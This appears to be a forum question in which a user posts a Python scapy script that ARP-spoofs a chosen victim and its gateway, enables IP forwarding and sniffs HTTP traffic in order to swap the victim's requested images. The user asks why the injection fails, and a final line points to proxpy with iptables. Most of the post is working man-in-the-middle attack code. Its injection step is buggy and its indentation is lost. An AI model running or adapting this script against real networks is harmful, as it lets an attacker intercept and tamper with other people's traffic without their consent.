A short explanation of what I am trying to do :)
I want to replace every picture within the http traffic with a specific one.
I start with arp spoofing to get into the traffic. Then I am checking if the packet contains http-raw data. If it does, I am gonna check if the request is an image-request. If it is an image-request I try to replace that request with my own.
Here is my code:
#!/usr/bin/python
from scapy.all import *
import threading
import os
# Destination is the IP-Adress of the Victim
# Source ist the IP-Adress of the Gateway
# Opcode is Reply (2)
def VictimPoisoning() :
VictimPacket = ARP(pdst=VictimIP, psrc=GatewayIP, op=2)
while True :
try:
send(VictimPacket, verbose = 0)
except KeyboardInterupt:
sys.exit(1)
# Source ist the IP-Adress of the Gateway
# Destination is the IP-Adress of the Victim
# Opcode is Reply (2)
def GatewayPoisoning() :
GatewayPacket = ARP(pdst=GatewayIP, psrc=VictimIP, op=2)
while True:
try:
send(GatewayPacket, verbose = 0)
except KeyboardInterupt:
sys.exit(1)
def TCPHttpExtract(pkt):
if pkt.haslayer(TCP) and pkt.getlayer(TCP).dport == 80 and pkt.getlayer(Raw):
#This packet should be sent by every image request
OwnPacket="GET /resources/css/mdr/global/img/iconFlash.jpg HTTP/1.1\nHost: www.site.com\nUser-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:34.0) Gecko/20100101 Firefox/34.0\nAccept: image/png,image/*;q=0.8,*/*;q=0.5\nAccept-Language: de,en-US;q=0.7,en;q=0.3\nConnection: keep-alive"
StringJPG=""
StringPNG=""
StringGIF=""
StringPacket=""
liste=[]
for line in pkt.getlayer(Raw) :
liste.append(line)
#Check if the requests contains an *.jpg, *.png, *.gif
#Just check JPG - rest will be implemented later on
StringPacket=re.findall('(\s\/.*?\s)', str(liste))
StringJPG=re.findall('.*\.jpg', str(StringPacket))
StringPNG=re.findall('.*\.png', str(StringPacket))
StringGIF=re.findall('.*\.gif', str(StringPacket))
if(StringJPG):
send(OwnPacket)
#Forward packets
os.system('echo 1 > /proc/sys/net/ipv4/ip_forward')
print "\n----------------------------------------"
VictimIP = raw_input("Victim-IP: ")
GatewayIP = raw_input("Gateway-IP: ")
IFACE = raw_input("Interface: ")
print "-----------------------------------------\n"
VictimThread = []
GatewayThread = []
print "Start poisoning the Victim ... \n"
while True:
try:
# VictimThread
VicPoison = threading.Thread(target=VictimPoisoning)
VicPoison.setDaemon(True)
VictimThread.append(VicPoison)
VicPoison.start()
# GatewayThread
GWayPoison = threading.Thread(target=GatewayPoisoning)
GWayPoison.setDaemon(True)
GatewayThread.append(GWayPoison)
GWayPoison.start()
pkt=sniff(iface=IFACE, prn=TCPHttpExtract)
# Cancel with STRG+C
except KeyboardInterupt:
sys.exit(1)
The arp spoofing is working and also the image regex and the sending of the packet but the browser won t change/get this image. Do I have to destroy the original packet first? I don t want to use ettercap, I want to do it with python here :)
*Sorry for that bad formating.
Thanks to you all for your help! :)
The answer to this question is proxpy in combination with ip-tables.